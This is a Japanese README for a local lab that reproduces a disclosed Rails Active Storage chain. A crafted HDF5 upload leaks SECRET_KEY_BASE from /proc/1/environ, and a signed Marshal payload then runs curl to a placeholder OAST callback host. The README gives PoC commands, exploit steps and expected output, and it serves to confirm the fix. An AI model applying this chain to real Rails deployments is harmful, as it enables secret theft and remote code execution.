
このリポジトリは、GHSA-xr9x-r78c-5hrm で説明されている Rails Active Storage のファイル読み取りから RCE に至るチェーンを、影響を受ける最新の Rails 8.1 リリースである Rails 8.1.3 に対して再現します。Rails 8.1.3.1 が修正済みのコントロールです。
ここで説明する使い捨てのローカルラボでのみ使用してください。HTTP ドライバは非ループバックターゲットを拒否します(ただし、他のターゲットに対する許可されたテスト用に Python コードを変更するのは簡単です)。
ターゲットは一般的な Rails アプリケーションです。その最終イメージには以下が含まれます:
ruby:3.4.10-slim Docker 公式イメージ;rails _VERSION_ new によって生成されたアプリケーション;curl、libjemalloc2、libvips、
sqlite3;./bin/thrust ./bin/rails server コマンド; そしてUpload モデル、標準的な
HTML の new、create、show アクション、および PNG 画像バリアント。アーティファクトビルダー、アップロードアーティファクト、エクスプロイトドライバ、Marshal コンストラクタ、コールバックコード、診断エンドポイント、ローダートレース、カスタムブートスクリプト、ターゲットの秘密情報フィクスチャ、エクスプロイト専用ルートは含まれていません。VIPS_TRACE の設定、プロセス環境の並べ替え、Active Storage シリアライザのオーバーライド、デフォルト以外の画像プロセッサの構成も行いません。
ルートの .dockerignore は Dockerfile と overlay/ のみをビルドに送ります。ホスト側の Python スクリプトと生成されたすべてのアーティファクトは、最終的なコピーステップから除外されるだけでなく、Docker ビルドコンテキストから除外されます。
完全なターゲットオーバーレイは、通常の 5 つのファイルです:
app/controllers/uploads_controller.rb
app/models/upload.rb
app/views/uploads/new.html.erb
app/views/uploads/show.html.erb
config/routes.rb
show ページは最小限の通常の変換を使用します:
<%= image_tag @upload.avatar.variant(format: :png) %>
未変更の新しい Rails アプリケーションには、アタッチメントを受け入れるアプリケーションモデルやページがないため、これら 5 つのファイルは、アドバイザリの信頼できない画像アップロード条件を表すために必要な最小限のアプリケーション機能です。
前提条件は、Docker、OpenSSL、Python 3、およびアーティファクトビルダー用の h5py です。
ターミナル 1 で:
./run_lab.sh 8.1.3
このスクリプトは minimal-rails-vips:8.1.3 をビルドし、既に提供されていない限り一時的な SECRET_KEY_BASE を生成し、アプリケーションを 127.0.0.1:3000 でのみ公開し、イメージの生成されたエントリポイントとデフォルトコマンドを実行します。ソースディレクトリやアーティファクトはターゲットにマウントされません。
ポート 3000 が既に使用中の場合は、イメージを変更せずに別のループバックポートを選択してください:
HOST_PORT=33020 ./run_lab.sh 8.1.3
ドライバの --target には同じポートを使用してください。
ターミナル 2 で:
python3 -m venv .venv
. .venv/bin/activate
python3 -m pip install h5py
python3 rails_vips_oast_poc.py \
--target http://127.0.0.1:3000 \
--oast https://YOUR-OAST-DOMAIN.example/callback
rails_vips_oast_poc.py はワンショットのビルダー兼 HTTP ドライバです。--artifact が指定されない限り、プライベートな一時ディレクトリにアップロードを構築し、一連のリクエスト全体で保持し、プロセス終了時に削除します。静的なペイロードを展開するのではなく、両方のステージを構築します:
h5py に 512 バイトのユーザーブロックを持つ MATLAB/HDF5 ファイルを作成させます。environment という名前の 1 × 1024 リトルエンディアンの uint8 データセットを作成します。/proc/1/environ をバックエンドとする HDF5 外部ストレージを使用し、1,024 バイトの境界付きエクステントを持ちます。MATLAB_class="uint8" を追加し、libvips の matload スニファが使用する MATLAB 5.0 ヘッダーを書き込みます。埋め込まれた RCE プログラムは、構造化された引数配列を持つ /usr/bin/curl に固定されています。設定された OAST URL への GET を 1 回実行し、ランダムな rails_ghsa_xr9x 相関トークンのみを送信します。シェルを使用せず、コールバックに回復された秘密情報、コマンド出力、ファイル内容、ターゲット識別子を含めません。
アーティファクトのパラメータは次のとおりです:
--external-path: ターゲット側の絶対ファイル。デフォルトは /proc/1/environ;--bytes: 128 から 4096 までの境界付き外部エクステント。デフォルトは 1024;--oast: ペイロードに埋め込まれるコールバックのベース URL; そして--nonce: 再現可能なアーティファクトのためのオプションの 16 バイト 16 進ノンス。デフォルトの OAST URL はループバックセーフです。エンドツーエンドの確認には、コンテナから到達可能なレシーバー URL を指定してください。
生成されたアップロードを検査または再利用のために保持するには、アーティファクトパスを追加します:
python3 rails_vips_oast_poc.py \
--target http://127.0.0.1:3000 \
--oast https://YOUR-OAST-DOMAIN.example/callback \
--artifact environment-read.bmp
既存の --artifact は検証され再利用されます。その場合、--oast が指定されていれば、埋め込まれたコールバック URL と一致する必要があります。既存のアーティファクトを再構築し、現在のビルダーパラメータでアトミックに置き換えるには、--force を追加してください。
HTTP リクエストなしでアーティファクトを作成する場合は、付属のビルダーも引き続き利用できます:
python3 build_upload_artifact.py \
--output environment-read.bmp \
--oast https://YOUR-OAST-DOMAIN.example/callback
--target はデフォルトで http://127.0.0.1:3000 であり、リテラルのループバックまたは localhost に制限されます。
脆弱な場合の期待される出力は次のとおりです:
artifact_mode=constructed
artifact_retained=false
embedded_payload=true
safe_png_representation_http=200
direct_blob_create_http=200
direct_object_put_http=204
environment_representation_http=200
returned_geometry=1x1024x1
ARBITRARY_ENV_READ_RESULT=CONFIRMED
marshal_source=embedded_artifact
rce_program=/usr/bin/curl
oast_probe_http=500
OAST_RESULT=CHECK_RECEIVER
ターミナルの oast_nonce を、OAST サービスが受信した rails_ghsa_xr9x=<nonce> クエリパラメータと照合してください。最終的な representation リクエストからの HTTP 500 は想定どおりです。コールバックは、認証された Marshal Hash が再構築されている間に発生し、その後、全体の変換が失敗します。
ビルダー部分には h5py が必要です。HTTP と暗号化の部分は Python の標準ライブラリのみを使用します:
image/bmp として宣言された未接続の blob を作成し、構築されたバイトをアップロードします。matload 操作を選択します。返された PNG は、ランタイムの SECRET_KEY_BASE を含む外部データセットのバイトを公開します。ActiveStorage ベリファイアキーを導出し、アーティファクトから既に構築された Marshal ペイロードを読み取り、variation 目的で署名し、結果の representation URL をリクエストします。/usr/bin/curl ペイロードを呼び出し、ブラインド OOB コールバックを生成します。ターゲットはヘルパーエンドポイントや署名ガジェットを提供しません。シリアル化されたグラフが使用する Ruby クラスは、標準の rails new Gemfile によって既に解決された依存関係から得られます。アプリケーションはそれらを要求も設定もしていません。画像処理は、全体を通して Rails デフォルトの :vips プロセッサのままです。
Ctrl-C でターミナル 1 を停止し、次を実行します:
./run_lab.sh 8.1.3.1
同じ統合ドライバコマンドを再実行します。アーティファクトが保持されていた場合は、同じ --artifact パスを渡すことで再利用できます。修正版の結果は次の箇所で停止するはずです:
safe_png_representation_http=200
direct_blob_create_http=200
direct_object_put_http=204
environment_representation_http=500
環境のピクセルは返されず、埋め込まれたペイロードが署名または送信されることも、OAST コールバックが発生することもありません。Active Storage 8.1.3.1 は libvips の信頼できない操作ブロックを有効にするため、matload は拒否されます。
最終的なランタイム設定は、生成されたものであるはずです:
docker image inspect minimal-rails-vips:8.1.3 \
--format 'entrypoint={{json .Config.Entrypoint}} cmd={{json .Config.Cmd}} user={{json .Config.User}}'
期待される結果:
entrypoint=["/rails/bin/docker-entrypoint"] cmd=["./bin/thrust","./bin/rails","server"] user="1000:1000"
唯一のスクリプトを検査し、PoC ファイルが存在しないことを確認します:
docker run --rm --entrypoint sh minimal-rails-vips:8.1.3 -lc '
find /rails/script -maxdepth 2 -type f -print
test ! -e /rails/payloads
test ! -e /rails/payload_builder.c
test ! -e /rails/config/master.key
'
スクリプトエントリは、ジェネレータが作成した /rails/script/.keep のみです。ビルドツールやオプションのイメージ CLI もランタイムには含まれません:
docker run --rm --entrypoint sh minimal-rails-vips:8.1.3 -lc '
for tool in gcc h5cc vips vipsheader convert magick tesseract; do
command -v "$tool" >/dev/null 2>&1 && echo "unexpected: $tool"
done
'
libvips は、その CLI ツールがインストールされていなくても、共有ランタイムライブラリとして存在します。Debian の標準の依存関係グラフが、リンクされた MAT/HDF5 形式のサポートを提供します。
Dockerfile は最小構成の標準ターゲットを生成およびパッケージ化します。.dockerignore は、攻撃者側のファイルがビルドコンテキストに入るのを防ぎます。overlay/ には通常の Rails アプリケーションファイル 5 つのみが含まれます。run_lab.sh は PoC を実行せずにターゲットをビルドして起動します。rails_vips_oast_poc.py は HDF5 ファイル読み取りイメージと設定可能な OOB ペイロードを構築し、通常の HTTP フローを駆動し、ベリファイアシークレットを回復し、埋め込まれたペイロードに署名してトリガーします。